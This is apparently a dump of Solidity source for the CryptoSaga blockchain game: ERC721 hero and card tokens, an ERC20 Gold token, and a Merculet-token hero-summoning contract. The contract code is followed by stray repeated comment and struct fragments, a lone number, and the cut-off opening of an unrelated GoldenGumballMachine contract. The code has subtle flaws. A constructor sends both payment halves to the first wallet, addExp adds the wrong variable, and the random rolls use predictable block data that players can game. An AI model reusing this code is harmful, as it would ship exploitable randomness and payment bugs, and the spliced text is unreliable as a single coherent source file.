_tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Transfers the ownership of a given token ID to another address * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { clearApprovalAndTransfer(msg.sender, _to, _tokenId); } /** * @dev Approves another address to claim for the ownership of the given token ID * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { address owner = ownerOf(_tokenId); require(_to != owner); if (approvedFor(_tokenId) != 0 || _to != 0) { tokenApprovals[_tokenId] = _to; Approval(owner, _to, _tokenId); } } /** * @dev Claims the ownership of a given token ID * @param _tokenId uint256 ID of the token being claimed by the msg.sender */ function takeOwnership(uint256 _tokenId) public { require(isApprovedFor(msg.sender, _tokenId)); clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId); } /** * @dev Mint token function * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addToken(_to, _tokenId); Transfer(0x0, _to, _tokenId); } /** * @dev Burns a specific token * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal { if (approvedFor(_tokenId) != 0) { clearApproval(msg.sender, _tokenId); } removeToken(msg.sender, _tokenId); Transfer(msg.sender, 0x0, _tokenId); } /** * @dev Tells whether the msg.sender is approved for the given token ID or not * This function is not private so it can be extended in further implementations like the operatable ERC721 * @param _owner address of the owner to query the approval of * @param _tokenId uint256 ID of the token to query the approval of * @return bool whether the msg.sender is approved for the given token ID or not */ function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) { return approvedFor(_tokenId) == _owner; } /** * @dev Internal function to clear current approval and transfer the ownership of a given token ID * @param _from address which you want to send tokens from * @param _to address which you want to transfer the token to * @param _tokenId uint256 ID of the token to be transferred */ function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal { require(_to != address(0)); require(_to != ownerOf(_tokenId)); require(ownerOf(_tokenId) == _from); clearApproval(_from, _tokenId); removeToken(_from, _tokenId); addToken(_to, _tokenId); Transfer(_from, _to, _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) private { require(ownerOf(_tokenId) == _owner); tokenApprovals[_tokenId] = 0; Approval(_owner, 0, _tokenId); } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addToken(address _to, uint256 _tokenId) private { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; uint256 length = balanceOf(_to); ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; totalTokens = totalTokens.add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeToken(address _from, uint256 _tokenId) private { require(ownerOf(_tokenId) == _from); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = balanceOf(_from).sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; tokenOwner[_tokenId] = 0; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; totalTokens = totalTokens.sub(1); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title AccessDeposit * @dev Adds grant/revoke functions to the contract. */ contract AccessDeposit is Claimable { // Access for adding deposit. mapping(address => bool) private depositAccess; // Modifier for accessibility to add deposit. modifier onlyAccessDeposit { require(msg.sender == owner || depositAccess[msg.sender] == true); _; } // @dev Grant acess to deposit heroes. function grantAccessDeposit(address _address) onlyOwner public { depositAccess[_address] = true; } // @dev Revoke acess to deposit heroes. function revokeAccessDeposit(address _address) onlyOwner public { depositAccess[_address] = false; } } /** * @title AccessDeploy * @dev Adds grant/revoke functions to the contract. */ contract AccessDeploy is Claimable { // Access for deploying heroes. mapping(address => bool) private deployAccess; // Modifier for accessibility to deploy a hero on a location. modifier onlyAccessDeploy { require(msg.sender == owner || deployAccess[msg.sender] == true); _; } // @dev Grant acess to deploy heroes. function grantAccessDeploy(address _address) onlyOwner public { deployAccess[_address] = true; } // @dev Revoke acess to deploy heroes. function revokeAccessDeploy(address _address) onlyOwner public { deployAccess[_address] = false; } } /** * @title AccessMint * @dev Adds grant/revoke functions to the contract. */ contract AccessMint is Claimable { // Access for minting new tokens. mapping(address => bool) private mintAccess; // Modifier for accessibility to define new hero types. modifier onlyAccessMint { require(msg.sender == owner || mintAccess[msg.sender] == true); _; } // @dev Grant acess to mint heroes. function grantAccessMint(address _address) onlyOwner public { mintAccess[_address] = true; } // @dev Revoke acess to mint heroes. function revokeAccessMint(address _address) onlyOwner public { mintAccess[_address] = false; } } /** * @title Gold * @dev ERC20 Token that can be minted. */ contract Gold is StandardToken, Claimable, AccessMint { string public constant name = "Gold"; string public constant symbol = "G"; uint8 public constant decimals = 18; // Event that is fired when minted. event Mint( address indexed _to, uint256 indexed _tokenId ); // @dev Mint tokens with _amount to the address. function mint(address _to, uint256 _amount) onlyAccessMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } } /** * @title CryptoSaga Card * @dev ERC721 Token that repesents CryptoSaga's cards. * Buy consuming a card, players of CryptoSaga can get a heroe. */ contract CryptoSagaCard is ERC721Token, Claimable, AccessMint { string public constant name = "CryptoSaga Card"; string public constant symbol = "CARD"; // Rank of the token. mapping(uint256 => uint8) public tokenIdToRank; // The number of tokens ever minted. uint256 public numberOfTokenId; // The converter contract. CryptoSagaCardSwap private swapContract; // Event that should be fired when card is converted. event CardSwap(address indexed _by, uint256 _tokenId, uint256 _rewardId); // @dev Set the address of the contract that represents CryptoSaga Cards. function setCryptoSagaCardSwapContract(address _contractAddress) public onlyOwner { swapContract = CryptoSagaCardSwap(_contractAddress); } function rankOf(uint256 _tokenId) public view returns (uint8) { return tokenIdToRank[_tokenId]; } // @dev Mint a new card. function mint(address _beneficiary, uint256 _amount, uint8 _rank) onlyAccessMint public { for (uint256 i = 0; i < _amount; i++) { _mint(_beneficiary, numberOfTokenId); tokenIdToRank[numberOfTokenId] = _rank; numberOfTokenId ++; } } // @dev Swap this card for reward. // The card will be burnt. function swap(uint256 _tokenId) onlyOwnerOf(_tokenId) public returns (uint256) { require(address(swapContract) != address(0)); var _rank = tokenIdToRank[_tokenId]; var _rewardId = swapContract.swapCardForReward(this, _rank); CardSwap(ownerOf(_tokenId), _tokenId, _rewardId); _burn(_tokenId); return _rewardId; } } /** * @title The interface contract for Card-For-Hero swap functionality. * @dev With this contract, a card holder can swap his/her CryptoSagaCard for reward. * This contract is intended to be inherited by CryptoSagaCardSwap implementation contracts. */ contract CryptoSagaCardSwap is Ownable { // Card contract. address internal cardAddess; // Modifier for accessibility to define new hero types. modifier onlyCard { require(msg.sender == cardAddess); _; } // @dev Set the address of the contract that represents ERC721 Card. function setCardContract(address _contractAddress) public onlyOwner { cardAddess = _contractAddress; } // @dev Convert card into reward. // This should be implemented by CryptoSagaCore later. function swapCardForReward(address _by, uint8 _rank) onlyCard public returns (uint256); } /** * @title CryptoSagaHero * @dev The token contract for the hero. * Also a superset of the ERC721 standard that allows for the minting * of the non-fungible tokens. */ contract CryptoSagaHero is ERC721Token, Claimable, Pausable, AccessMint, AccessDeploy, AccessDeposit { string public constant name = "CryptoSaga Hero"; string public constant symbol = "HERO"; struct HeroClass { // ex) Soldier, Knight, Fighter... string className; // 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary. uint8 classRank; // 0: Human, 1: Celestial, 2: Demon, 3: Elf, 4: Dark Elf, 5: Yogoe, 6: Furry, 7: Dragonborn, 8: Undead, 9: Goblin, 10: Troll, 11: Slime, and more to come. uint8 classRace; // How old is this hero class? uint32 classAge; // 0: Fighter, 1: Rogue, 2: Mage. uint8 classType; // Possible max level of this class. uint32 maxLevel; // 0: Water, 1: Fire, 2: Nature, 3: Light, 4: Darkness. uint8 aura; // Base stats of this hero type. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] baseStats; // Minimum IVs for stats. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] minIVForStats; // Maximum IVs for stats. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] maxIVForStats; // Number of currently instanced heroes. uint32 currentNumberOfInstancedHeroes; } struct HeroInstance { // What is this hero's type? ex) John, Sally, Mark... uint32 heroClassId; // Individual hero's name. string heroName; // Current level of this hero. uint32 currentLevel; // Current exp of this hero. uint32 currentExp; // Where has this hero been deployed? (0: Never depolyed ever.) ex) Dungeon Floor #1, Arena #5... uint32 lastLocationId; // When a hero is deployed, it takes time for the hero to return to the base. This is in Unix epoch. uint256 availableAt; // Current stats of this hero. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] currentStats; // The individual value for this hero's stats. // This will affect the current stats of heroes. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] ivForStats; } // Required exp for level up will increase when heroes level up. // This defines how the value will increase. uint32 public requiredExpIncreaseFactor = 100; // Required Gold for level up will increase when heroes level up. // This defines how the value will increase. uint256 public requiredGoldIncreaseFactor = 1000000000000000000; // Existing hero classes. mapping(uint32 => HeroClass) public heroClasses; // The number of hero classes ever defined. uint32 public numberOfHeroClasses; // Existing hero instances. // The key is _tokenId. mapping(uint256 => HeroInstance) public tokenIdToHeroInstance; // The number of tokens ever minted. This works as the serial number. uint256 public numberOfTokenIds; // Gold contract. Gold public goldContract; // Deposit of players (in Gold). mapping(address => uint256) public addressToGoldDeposit; // Random seed. uint32 private seed = 0; // Event that is fired when a hero type defined. event DefineType( address indexed _by, uint32 indexed _typeId, string _className ); // Event that is fired when a hero is upgraded. event LevelUp( address indexed _by, uint256 indexed _tokenId, uint32 _newLevel ); // Event that is fired when a hero is deployed. event Deploy( address indexed _by, uint256 indexed _tokenId, uint32 _locationId, uint256 _duration ); // @dev Get the class's entire infomation. function getClassInfo(uint32 _classId) external view returns (string className, uint8 classRank, uint8 classRace, uint32 classAge, uint8 classType, uint32 maxLevel, uint8 aura, uint32[5] baseStats, uint32[5] minIVs, uint32[5] maxIVs) { var _cl = heroClasses[_classId]; return (_cl.className, _cl.classRank, _cl.classRace, _cl.classAge, _cl.classType, _cl.maxLevel, _cl.aura, _cl.baseStats, _cl.minIVForStats, _cl.maxIVForStats); } // @dev Get the class's name. function getClassName(uint32 _classId) external view returns (string) { return heroClasses[_classId].className; } // @dev Get the class's rank. function getClassRank(uint32 _classId) external view returns (uint8) { return heroClasses[_classId].classRank; } // @dev Get the heroes ever minted for the class. function getClassMintCount(uint32 _classId) external view returns (uint32) { return heroClasses[_classId].currentNumberOfInstancedHeroes; } // @dev Get the hero's entire infomation. function getHeroInfo(uint256 _tokenId) external view returns (uint32 classId, string heroName, uint32 currentLevel, uint32 currentExp, uint32 lastLocationId, uint256 availableAt, uint32[5] currentStats, uint32[5] ivs, uint32 bp) { HeroInstance memory _h = tokenIdToHeroInstance[_tokenId]; var _bp = _h.currentStats[0] + _h.currentStats[1] + _h.currentStats[2] + _h.currentStats[3] + _h.currentStats[4]; return (_h.heroClassId, _h.heroName, _h.currentLevel, _h.currentExp, _h.lastLocationId, _h.availableAt, _h.currentStats, _h.ivForStats, _bp); } // @dev Get the hero's class id. function getHeroClassId(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].heroClassId; } // @dev Get the hero's name. function getHeroName(uint256 _tokenId) external view returns (string) { return tokenIdToHeroInstance[_tokenId].heroName; } // @dev Get the hero's level. function getHeroLevel(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].currentLevel; } // @dev Get the hero's location. function getHeroLocation(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].lastLocationId; } // @dev Get the time when the hero become available. function getHeroAvailableAt(uint256 _tokenId) external view returns (uint256) { return tokenIdToHeroInstance[_tokenId].availableAt; } // @dev Get the hero's BP. function getHeroBP(uint256 _tokenId) public view returns (uint32) { var _tmp = tokenIdToHeroInstance[_tokenId].currentStats; return (_tmp[0] + _tmp[1] + _tmp[2] + _tmp[3] + _tmp[4]); } // @dev Get the hero's required gold for level up. function getHeroRequiredGoldForLevelUp(uint256 _tokenId) public view returns (uint256) { return (uint256(2) ** (tokenIdToHeroInstance[_tokenId].currentLevel / 10)) * requiredGoldIncreaseFactor; } // @dev Get the hero's required exp for level up. function getHeroRequiredExpForLevelUp(uint256 _tokenId) public view returns (uint32) { return ((tokenIdToHeroInstance[_tokenId].currentLevel + 2) * requiredExpIncreaseFactor); } // @dev Get the deposit of gold of the player. function getGoldDepositOfAddress(address _address) external view returns (uint256) { return addressToGoldDeposit[_address]; } // @dev Get the token id of the player's #th token. function getTokenIdOfAddressAndIndex(address _address, uint256 _index) external view returns (uint256) { return tokensOf(_address)[_index]; } // @dev Get the total BP of the player. function getTotalBPOfAddress(address _address) external view returns (uint32) { var _tokens = tokensOf(_address); uint32 _totalBP = 0; for (uint256 i = 0; i < _tokens.length; i ++) { _totalBP += getHeroBP(_tokens[i]); } return _totalBP; } // @dev Set the hero's name. function setHeroName(uint256 _tokenId, string _name) onlyOwnerOf(_tokenId) public { tokenIdToHeroInstance[_tokenId].heroName = _name; } // @dev Set the address of the contract that represents ERC20 Gold. function setGoldContract(address _contractAddress) onlyOwner public { goldContract = Gold(_contractAddress); } // @dev Set the required golds to level up a hero. function setRequiredExpIncreaseFactor(uint32 _value) onlyOwner public { requiredExpIncreaseFactor = _value; } // @dev Set the required golds to level up a hero. function setRequiredGoldIncreaseFactor(uint256 _value) onlyOwner public { requiredGoldIncreaseFactor = _value; } // @dev Contructor. function CryptoSagaHero(address _goldAddress) public { require(_goldAddress != address(0)); // Assign Gold contract. setGoldContract(_goldAddress); // Initial heroes. // Name, Rank, Race, Age, Type, Max Level, Aura, Stats. defineType("Archangel", 4, 1, 13540, 0, 99, 3, [uint32(74), 75, 57, 99, 95], [uint32(8), 6, 8, 5, 5], [uint32(8), 10, 10, 6, 6]); defineType("Shadowalker", 3, 4, 134, 1, 75, 4, [uint32(45), 35, 60, 80, 40], [uint32(3), 2, 10, 4, 5], [uint32(5), 5, 10, 7, 5]); defineType("Pyromancer", 2, 0, 14, 2, 50, 1, [uint32(50), 28, 17, 40, 35], [uint32(5), 3, 2, 3, 3], [uint32(8), 4, 3, 4, 5]); defineType("Magician", 1, 3, 224, 2, 30, 0, [uint32(35), 15, 25, 25, 30], [uint32(3), 1, 2, 2, 2], [uint32(5), 2, 3, 3, 3]); defineType("Farmer", 0, 0, 59, 0, 15, 2, [uint32(10), 22, 8, 15, 25], [uint32(1), 2, 1, 1, 2], [uint32(1), 3, 1, 2, 3]); } // @dev Define a new hero type (class). function defineType(string _className, uint8 _classRank, uint8 _classRace, uint32 _classAge, uint8 _classType, uint32 _maxLevel, uint8 _aura, uint32[5] _baseStats, uint32[5] _minIVForStats, uint32[5] _maxIVForStats) onlyOwner public { require(_classRank < 5); require(_classType < 3); require(_aura < 5); require(_minIVForStats[0] <= _maxIVForStats[0] && _minIVForStats[1] <= _maxIVForStats[1] && _minIVForStats[2] <= _maxIVForStats[2] && _minIVForStats[3] <= _maxIVForStats[3] && _minIVForStats[4] <= _maxIVForStats[4]); HeroClass memory _heroType = HeroClass({ className: _className, classRank: _classRank, classRace: _classRace, classAge: _classAge, classType: _classType, maxLevel: _maxLevel, aura: _aura, baseStats: _baseStats, minIVForStats: _minIVForStats, maxIVForStats: _maxIVForStats, currentNumberOfInstancedHeroes: 0 }); // Save the hero class. heroClasses[numberOfHeroClasses] = _heroType; // Fire event. DefineType(msg.sender, numberOfHeroClasses, _heroType.className); // Increment number of hero classes. numberOfHeroClasses ++; } // @dev Mint a new hero, with _heroClassId. function mint(address _owner, uint32 _heroClassId) onlyAccessMint public returns (uint256) { require(_owner != address(0)); require(_heroClassId < numberOfHeroClasses); // The information of the hero's class. var _heroClassInfo = heroClasses[_heroClassId]; // Mint ERC721 token. _mint(_owner, numberOfTokenIds); // Build random IVs for this hero instance. uint32[5] memory _ivForStats; uint32[5] memory _initialStats; for (uint8 i = 0; i < 5; i++) { _ivForStats[i] = (random(_heroClassInfo.maxIVForStats[i] + 1, _heroClassInfo.minIVForStats[i])); _initialStats[i] = _heroClassInfo.baseStats[i] + _ivForStats[i]; } // Temporary hero instance. HeroInstance memory _heroInstance = HeroInstance({ heroClassId: _heroClassId, heroName: "", currentLevel: 1, currentExp: 0, lastLocationId: 0, availableAt: now, currentStats: _initialStats, ivForStats: _ivForStats }); // Save the hero instance. tokenIdToHeroInstance[numberOfTokenIds] = _heroInstance; // Increment number of token ids. // This will only increment when new token is minted, and will never be decemented when the token is burned. numberOfTokenIds ++; // Increment instanced number of heroes. _heroClassInfo.currentNumberOfInstancedHeroes ++; return numberOfTokenIds - 1; } // @dev Set where the heroes are deployed, and when they will return. // This is intended to be called by Dungeon, Arena, Guild contracts. function deploy(uint256 _tokenId, uint32 _locationId, uint256 _duration) onlyAccessDeploy public returns (bool) { // The hero should be possessed by anybody. require(ownerOf(_tokenId) != address(0)); var _heroInstance = tokenIdToHeroInstance[_tokenId]; // The character should be avaiable. require(_heroInstance.availableAt <= now); _heroInstance.lastLocationId = _locationId; _heroInstance.availableAt = now + _duration; // As the hero has been deployed to another place, fire event. Deploy(msg.sender, _tokenId, _locationId, _duration); } // @dev Add exp. // This is intended to be called by Dungeon, Arena, Guild contracts. function addExp(uint256 _tokenId, uint32 _exp) onlyAccessDeploy public returns (bool) { // The hero should be possessed by anybody. require(ownerOf(_tokenId) != address(0)); var _heroInstance = tokenIdToHeroInstance[_tokenId]; var _newExp = _heroInstance.currentExp + _exp; // Sanity check to ensure we don't overflow. require(_newExp == uint256(uint128(_newExp))); _heroInstance.currentExp += _newExp; } // @dev Add deposit. // This is intended to be called by Dungeon, Arena, Guild contracts. function addDeposit(address _to, uint256 _amount) onlyAccessDeposit public { // Increment deposit. addressToGoldDeposit[_to] += _amount; } // @dev Level up the hero with _tokenId. // This function is called by the owner of the hero. function levelUp(uint256 _tokenId) onlyOwnerOf(_tokenId) whenNotPaused public { // Hero instance. var _heroInstance = tokenIdToHeroInstance[_tokenId]; // The character should be avaiable. (Should have already returned from the dungeons, arenas, etc.) require(_heroInstance.availableAt <= now); // The information of the hero's class. var _heroClassInfo = heroClasses[_heroInstance.heroClassId]; // Hero shouldn't level up exceed its max level. require(_heroInstance.currentLevel < _heroClassInfo.maxLevel); // Required Exp. var requiredExp = getHeroRequiredExpForLevelUp(_tokenId); // Need to have enough exp. require(_heroInstance.currentExp >= requiredExp); // Required Gold. var requiredGold = getHeroRequiredGoldForLevelUp(_tokenId); // Owner of token. var _ownerOfToken = ownerOf(_tokenId); // Need to have enough Gold balance. require(addressToGoldDeposit[_ownerOfToken] >= requiredGold); // Increase Level. _heroInstance.currentLevel += 1; // Increase Stats. for (uint8 i = 0; i < 5; i++) { _heroInstance.currentStats[i] = _heroClassInfo.baseStats[i] + (_heroInstance.currentLevel - 1) * _heroInstance.ivForStats[i]; } // Deduct exp. _heroInstance.currentExp -= requiredExp; // Deduct gold. addressToGoldDeposit[_ownerOfToken] -= requiredGold; // Fire event. LevelUp(msg.sender, _tokenId, _heroInstance.currentLevel); } // @dev Transfer deposit (with the allowance pattern.) function transferDeposit(uint256 _amount) whenNotPaused public { require(goldContract.allowance(msg.sender, this) >= _amount); // Send msg.sender's Gold to this contract. if (goldContract.transferFrom(msg.sender, this, _amount)) { // Increment deposit. addressToGoldDeposit[msg.sender] += _amount; } } // @dev Withdraw deposit. function withdrawDeposit(uint256 _amount) public { require(addressToGoldDeposit[msg.sender] >= _amount); // Send deposit of Golds to msg.sender. (Rather minting...) if (goldContract.transfer(msg.sender, _amount)) { // Decrement deposit. addressToGoldDeposit[msg.sender] -= _amount; } } // @dev return a pseudo random number between lower and upper bounds function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = uint32(keccak256(keccak256(block.blockhash(block.number), seed), now)); return seed % (_upper - _lower) + _lower; } } /** * @title CryptoSagaCardSwapMerculet * @dev This directly summons hero. */ contract CryptoSagaCardSwapMerculet is Pausable{ // 50% of Merculet will be sent to this wallet. address public wallet1; // 50% of Merculet will be sent to this wallet. address public wallet2; // Merculet token instance. ERC20 public merculetContract; // The hero contract. CryptoSagaHero public heroContract; // Merculet token price. uint256 public merculetPrice = 1000000000000000000000; // 1000 Merculets. // Blacklisted heroes. // This is needed in order to protect players, in case there exists any hero with critical issues. // We promise we will use this function carefully, and this won't be used for balancing the OP heroes. mapping(uint32 => bool) public blackList; // Random seed. uint32 private seed = 0; // @dev Set the price of summoning a hero with Merculet token. function setMerculetPrice(uint256 _value) onlyOwner public { merculetPrice = _value; } // @dev Set blacklist. function setBlacklist(uint32 _classId, bool _value) onlyOwner public { blackList[_classId] = _value; } // @dev Contructor. function CryptoSagaCardSwapMerculet(address _heroAddress, address _tokenAddress, address _walletAddress1, address _walletAddress2) public { require(_heroAddress != address(0)); require(_walletAddress1 != address(0)); require(_walletAddress2 != address(0)); wallet1 = _walletAddress1; wallet2 = _walletAddress1; heroContract = CryptoSagaHero(_heroAddress); merculetContract = ERC20(_tokenAddress); } // @dev Pay with Merculet. function payWithMerculet(uint256 _amount) whenNotPaused public { require(msg.sender != address(0)); // Up to 5 purchases at once. require(_amount >= 1 && _amount <= 5); var _priceOfBundle = merculetPrice * _amount; require(merculetContract.allowance(msg.sender, this) >= _priceOfBundle); if (merculetContract.transferFrom(msg.sender, this, _priceOfBundle)) { // Send Merculet tokens to the wallets. merculetContract.transfer(wallet1, _priceOfBundle / 2); merculetContract.transfer(wallet2, _priceOfBundle / 2); for (uint i = 0; i < _amount; i ++) { // Get value 0 ~ 9999. var _randomValue = random(10000, 0); // We hard-code this in order to give credential to the players. uint8 _heroRankToMint = 0; if (_randomValue < 5000) { _heroRankToMint = 1; } else if (_randomValue < 9550) { _heroRankToMint = 2; } else if (_randomValue < 9950) { _heroRankToMint = 3; } else { _heroRankToMint = 4; } // Summon the hero. summonHero(msg.sender, _heroRankToMint); } } } // @dev Summon a hero. // 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary function summonHero(address _to, uint8 _heroRankToMint) private returns (uint256) { // Get the list of hero classes. uint32 _numberOfClasses = heroContract.numberOfHeroClasses(); uint32[] memory _candidates = new uint32[](_numberOfClasses); uint32 _count = 0; for (uint32 i = 0; i < _numberOfClasses; i ++) { if (heroContract.getClassRank(i) == _heroRankToMint && blackList[i] != true) { _candidates[_count] = i; _count++; } } require(_count != 0); return heroContract.mint(_to, _candidates[random(_count, 0)]); } // @dev return a pseudo random number between lower and upper bounds function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = uint32(keccak256(keccak256(block.blockhash(block.number), seed), now)); return seed % (_upper - _lower) + _lower; } }
ex) Soldier, Knight, Fighter... 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary. 0: Human, 1: Celestial, 2: Demon, 3: Elf, 4: Dark Elf, 5: Yogoe, 6: Furry, 7: Dragonborn, 8: Undead, 9: Goblin, 10: Troll, 11: Slime, and more to come. How old is this hero class? 0: Fighter, 1: Rogue, 2: Mage. Possible max level of this class. 0: Water, 1: Fire, 2: Nature, 3: Light, 4: Darkness. Base stats of this hero type. 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. Minimum IVs for stats. 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. Maximum IVs for stats. 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. Number of currently instanced heroes.
function swapCardForReward(address _by, uint8 _rank) onlyCard public returns (uint256); } struct HeroClass { string className; uint8 classRank; uint8 classRace; uint32 classAge; uint8 classType; uint32 maxLevel; uint8 aura; uint32[5] baseStats; uint32[5] minIVForStats; uint32[5] maxIVForStats; uint32 currentNumberOfInstancedHeroes; }
50,115
// SPDX-License-Identifier: MIT // Welcome to the Golden Gumball Machine pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./interfaces/IGoldenGumballMachine.sol"; contract GoldenGumballMachine is IGoldenGumballMachine, ERC721, ERC721Holder, Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; constructor (address _owner, address _payToken) ERC721("Golden Gumball Tokens", "GUM") { GUM = IERC721(address(this)); payToken = IERC20(_payToken); transferOwnership(_owner); } // STRUCTS, MAPPINGS, AND ARRAYS // // Parameters of Gumballers (shot callers, 20" blades, on the Impala) struct Gumballers { uint256 gumballerBlocknum; uint256 myGoldenToken; bool gumballerBool; bool myHonorBool; } // Parameters of 